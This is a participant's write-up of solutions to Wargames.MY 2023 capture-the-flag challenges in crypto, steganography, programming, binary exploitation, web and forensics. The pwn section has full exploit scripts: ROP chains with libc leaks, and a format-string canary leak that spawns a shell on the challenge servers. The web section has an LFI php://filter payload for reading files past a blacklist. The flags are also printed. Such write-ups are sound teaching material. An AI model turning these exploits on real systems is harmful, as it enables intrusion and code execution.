Hello, I am Roti Canai. I came in second in the Open Category of Wargames.MY 2023.
![second](https://hackmd.io/_uploads/BJ8txspLa.png)
It was a close fight at the end, but congratulations to Team `obligatory`. Also thanks to the organisers for creating a tough but enjoyable CTF.
# CRYPTO
## N-less RSA
In this challenge, I am given `q = p*13 - 37*0xcafebabe + unknown` where `unknown` is small. I am not given the modulus but am given `phi = (p-1)*(q-1)`. So I can break it by just guessing over the possible values of `unknown`.
```python=
from sage.all import *
from Crypto.Util.number import *
phi=340577739943302989719266782993735388309601832841016828686908999285012058530245805484748627329704139660173847425945160209180457321640204169512394827638011632306948785371994403007162635069343890640834477848338513291328321869076466503121338131643337897699133626182018407919166459719722436289514139437666592605970785141028842985108396221727683676279586155612945405799488550847950427003696307451671161762595060053112199628695991211895821814191763549926078643283870094478487353620765318396817109504580775042655552744298269080426470735712833027091210437312338074255871034468366218998780550658136080613292844182216509397934480
e=65537
c=42363396533514892337794168740335890147978814270714150292304680028514711494019233652215720372759517148247019429253856607405178460072049996513931921948067945946086278782910016494966199807084840772350780861440737097778578207929043800432279437709296060384506082883401105820800844187947410153745248466533960754243807208804084908637481187348394987532434982032302570226378255458486161579167482667571132674473067323283939026297508548130085016660893371076973067425309491443342096329853486075971866389182944671697660246503465740169215121081002338163263904954365965203570590704089906222868145676419033148652705335290006075758484
p = ZZ['p'].gen()
for unknown in range(9999):
q = p*13 - 37*0xcafebabe + unknown
roots = ((p-1)*(q-1) - phi).roots()
if roots:
p = roots[0][0]
q = q(p = p)
break
d = pow(e, -1, phi)
m = pow(c, d, p*q)
print(long_to_bytes(ZZ(m)))
# wgmy{a9722440198c2abad490478875be2815}
```
## Hohoho 2 (both versions)
I did the Continue version first, and it happened that the solution could also be used on the original. The token maps `a` to `(a*x + c) % m`, so I pick `x = c/(1-a) mod m`. This gives `x = 25461419141983805977965271889242608353`.
If I generate random strings, roughly 1/m of them will have the right value. Since `m` has 39 digits, I can use a lattice over 39 digits, and I obtain the string "Santa Claus and his 657057913575178393208023679826151332889 elves".
So in both cases, I just log in with `Santa Claus and his 657057913575178393208023679826151332889 elves` and `1327b0e270df8c87fc0e6e7be6bdd2e1` to get the flag.
- Original: `wgmy{6bd7f862cbfa8b802a63b09979d00ee6}`
- Continue: `wgmy{de112c46f10460e45cc4bcd76abd804a}`
# MISC
## Splice
The alpha channel of page3.png tells me how the two QR codes combined (i.e. both are black, both are white, or exactly one black and one white). In the last case I don't know which is white and which is black. But that's ok, because I can recover the entire QR except the middle section. And even then it's only half the middle section, so I have enough to recover.
![splice](https://hackmd.io/_uploads/S16_bia8p.png)
This gives `d2dteXs1ZDdiZGVhNjU0NzJjYT` and `llNjE1ZmNiZDBmOTBhM2I0OX0=`, so the flag base64-decodes to `wgmy{5d7bdea65472ca9e615fcbd0f90a3b49}`.
## Sayur
I started by uploading the image to aperisolve, where I notice the zsteg option `b2,rgba,lsb,xy` starts off with some interesting text `KemudianKemudianSayurSayurKemudianLatihSayur...`. Looking at the full text, there appear to be only four distinct words: Sayur, Kemudian, Banyak, Latih (as stated in the description).
If I give them the bits 00, 01, 10 and 11 respectively, it turns into yet another text string `PracticeManyThenThenManyPracticeVegetableVegetableMany...`. These are just the English versions of the previous words, so I can repeat the process.
This time I get some Chinese text `就练就练就多就练就多...`, and again these are just the Chinese versions of the previous words.
```python=
from pwn import unbits
z1 = 'KemudianKemudianSayurSayurKemudianLatihSayur...'
z2 = unbits(z1.replace('Sayur', '00').replace('Kemudian', '01').replace('Banyak', '10').replace('Latih', '11')).decode()
z3 = unbits(z2.replace('Vegetable', '00').replace('Then', '01').replace('Many', '10').replace('Practice', '11')).decode()
z4 = unbits(z3.replace('菜', '00').replace('就', '01').replace('多', '10').replace('练', '11')).decode()
print(z4)
# wgmy{0cec1062809ad4e393f0acbfa895f29f}
```
## Dialect
This is obviously a variant of brainf\*ck. The numbers are a run-length encoding of the next character, and this gives the first few characters of the flag. Then there are a few unknown `\xXX` characters, but only nine distinct ones. Some simple analysis can be done to show that `\xC1` and `\xD3` must be `+` and `-` in some order. And also that `\xC3` and `\xD2` must be `<` and `>` in some order. And that `\xD8` is a dot.
This leaves four unknown values, which must be digits. I don't know which digits it is, so just brute force over all ten thousand possibilities, which gives us four possible flags. I submit all four flags in the answer checker, and one of them is correct! I think it was `wgmy{6d7abda263a571fb6a2d22c0a8ebd158}`.
# PPC
## Linux Memory Usage
This is just memoisation. Here is my solve script.
```python=
n, q = map(int, input().split())
children = {}
mem = {}
for _ in range(n):
a,b,c = map(int, input().split())
children.setdefault(b, [])
children[b].append(a)
mem[a] = c
ans = {}
def get(x):
if x in ans:
return ans[x]
stack = [x]
while stack:
y = stack[-1]
bad_children = [c for c in children.get(y, []) if c not in ans]
if bad_children:
stack += bad_children
else:
stack.pop()
ans[y] = mem[y] + sum(ans[i] for i in children.get(y, []))
return ans[x]
for _ in range(q):
print(get(int(input())))
```
## Lokami Temple
The idea is that I want to find the center of the tree (which can be one or two vertices), and then the furthest points from it. I asked ChatGPT to write some code and then modified it a bit.
```python=
from collections import defaultdict
class Graph:
def __init__(self):
self.graph = defaultdict(list)
def add_edge(self, u, v):
self.graph[u].append(v)
self.graph[v].append(u)
def dfs(self, start, distances):
parents = {}
stack = [(start, 0, None)] # (node, distance, parent)
while stack:
node, distance, parent = stack.pop()
distances[node] = distance
for neighbor in self.graph[node]:
if neighbor != parent:
stack.append((neighbor, distance + 1, node))
parents[neighbor] = node
return parents
def find_center(self):
# Step 1: Find the farthest node from an arbitrary starting point
distances_from_arbitrary = [0] * len(self.graph)
self.dfs(0, distances_from_arbitrary)
farthest_node = max(range(len(distances_from_arbitrary)), key=distances_from_arbitrary.__getitem__)
# Step 2: Find the farthest node from the previously found farthest node
distances_from_farthest = [0] * len(self.graph)
parents = self.dfs(farthest_node, distances_from_farthest)
second_farthest_node = max(range(len(distances_from_farthest)), key=distances_from_farthest.__getitem__)
tmp = [second_farthest_node]
while tmp[-1] != farthest_node:
tmp.append(parents[tmp[-1]])
if len(tmp) % 2 == 0:
# there are two centers
centers = [tmp[len(tmp)//2-1], tmp[len(tmp)//2]]
else:
centers = [tmp[len(tmp)//2]]
# print(centers)
# # Calculate the center by finding the midpoint between the two farthest nodes
# center = (farthest_node, second_farthest_node)
# return center
exits = set()
for center in centers:
# print(f'{center=}')
dists = [0] * len(self.graph)
self.dfs(center, dists)
max_dist = max(dists)
inds = [i for i,v in enumerate(dists) if v==max_dist]
exits.update(inds)
# print(f'{max_dist=}, {inds=}')
print('Entrance(s): ' + ' '.join(str(x + 1) for x in sorted(centers)))
print('Exit(s): ' + ' '.join(str(x + 1) for x in sorted(exits)))
print('Path Length: ' + str(max_dist))
# Example Usage:
if __name__ == "__main__":
# Create a sample tree
tree = Graph()
# tree.add_edge(0, 1)
# tree.add_edge(1, 2)
# tree.add_edge(1, 3)
# tree.add_edge(2, 4)
# tree.add_edge(2, 5)
for _ in range(int(input())-1):
a, b = map(int, input().split())
tree.add_edge(a-1, b-1)
# Find the center of the tree
tree.find_center()
```
# PWN
## Magic Door
ROP chain with no PIE. I used `050015` to bypass the first check.
```python=
from pwn import *
import os
elf = ELF('./magic_door')
local = os.getenv('LOCAL', 1)
print(f'{local=}')
poprdi = p64(0x401434)
retn = p64(0x401435)
leak = p64(elf.got['puts'])
puts_plt = p64(elf.plt['puts'])
putrdi = p64(0x401369)
if local == 1:
io = process('./magic_door')
puts_addr = 0x80ed0
binsh_addr = 0x1d8698
system_addr = 0x050d60
else:
print('REMOTE')
io = remote('13.229.222.125', 33448)
# libc6_2.35-0ubuntu3.4_amd64
puts_addr = 0x080e50
binsh_addr = 0x1d8698
system_addr = 0x050d70
io.sendline(b'050015')
io.sendline(b'A' * 72 + poprdi + leak + puts_plt + p64(0x401301))
io.readuntil(b'go? \n')
puts_leak = u64(io.recv(6).ljust(8,b'\0'))
print(hex(puts_leak))
libc_leak = puts_leak - puts_addr
binsh_leak = p64(libc_leak + binsh_addr)
system_leak = p64(libc_leak + system_addr)
io.sendline(b'A' * 72 + retn + poprdi + binsh_leak + system_leak)
io.sendline('id')
io.interactive()
# wgmy{4a029bf40a28039c8492acfa866f8d96}
```
## Pak Mat Burger
ROP chain with canary. I run it manually once first to get the secret, since is the same between instances in the same connection. Basically I can use `%[num]$p` and `%[num]$s` to leak the values at and pointed by those locations in the stack.
```python=
from pwn import *
import os
local = os.getenv('LOCAL', 1)
if local == 1:
io = process('./pakmat_burger', env={'SECRET_MESSAGE':'deadface'})
ret_addr = 0x29d90
binsh_addr = 0x1d8698
system_addr = 0x050d60
poprdi_addr = 0x50edc
secret = b'deadface'
else:
print('REMOTE')
io = remote('13.229.222.125', 33306)
secret = b'0e052ad2' # %53$s
# libc6_2.35-0ubuntu3.4_amd64
ret_addr = 0x29d90
binsh_addr = 0x1d8698
system_addr = 0x050d70
poprdi_addr = 0x050eec
io.sendline(b'%13$p%15$p')
io.readuntil(b'0x')
canary = p64(int(io.readuntil(b'0x',1), 16))
main_ret = int(io.readuntil(b',',1), 16)
print(canary.hex())
print(hex(main_ret))
#input()
io.sendline(secret) #secret message
io.sendline(b'x') # type of burger
libc_leak = main_ret - ret_addr
binsh_leak = p64(libc_leak + binsh_addr)
system_leak = p64(libc_leak + system_addr)
poprdi = p64(libc_leak + poprdi_addr)
retn = p64(libc_leak + poprdi_addr + 1)
io.sendline(b'A' * 37 + canary + retn*2 + poprdi + binsh_leak + system_leak)
io.sendline(b'id')
io.interactive()
# wgmy{bdd44777c70a7a9c7d07a073d3b439b5}
```
# WEB
## Warmup - Web
First I got the password by feeding the javascript through https://obf-io.deobfuscate.io/ which gives me the password `"this_password_is_so_weak_i_can_crack_in_1_sec!"`. Entering the password fetches a request from `http://warmup.wargames.my/api/4aa22934982f984b8a0438b701e8dec8.php?x=flag_for_warmup.php`.
But this is interesting because there is an LFI, and the flag is hidden in a comment in flag_for_warmup.php. So I can exfil this with `php://zlib.deflate` because there is a blacklist.
```python=
import zlib, requests
r = requests.get('http://warmup.wargames.my/api/4aa22934982f984b8a0438b701e8dec8.php?x=php://filter/zlib.deflate/resource=flag_for_warmup.php')
print(zlib.decompress(r.content, -15))
```
This printed
```
b"<?php\n\nerror_reporting(0);\n\necho('here\\'s your flag <small>in comment</small> <!-- well, maybe not this comment -->');\n\n// wgmy{1ca200caa85d3a8dcec7d660e7361f79}\n"
```
And I can see the flag in there, `wgmy{1ca200caa85d3a8dcec7d660e7361f79}`.
# FORENSIC
## Compromised
There are two main files of interest in here, `svc_wgmy/Desktop/flag.png` and `svc_wgmy/AppData/Local/Microsoft/Terminal Server Client/Cache/Cache0000.bin`. The first is just a zip file, so the second one must have the password. It starts with RDP8bmp, so I found BMC-Tools which can make sense of the data. After looking through 2000 bmps, something sticks out.
![compromised](https://hackmd.io/_uploads/HJ5bQs6L6.png)
This is the zip password `WGMY_P4ssw0rd_N0t_V3ry_H4rd!!!`, and I can use it to extract the flag `wgmy{d1df8b8811dbe22f3dce67ef2998f21c}`.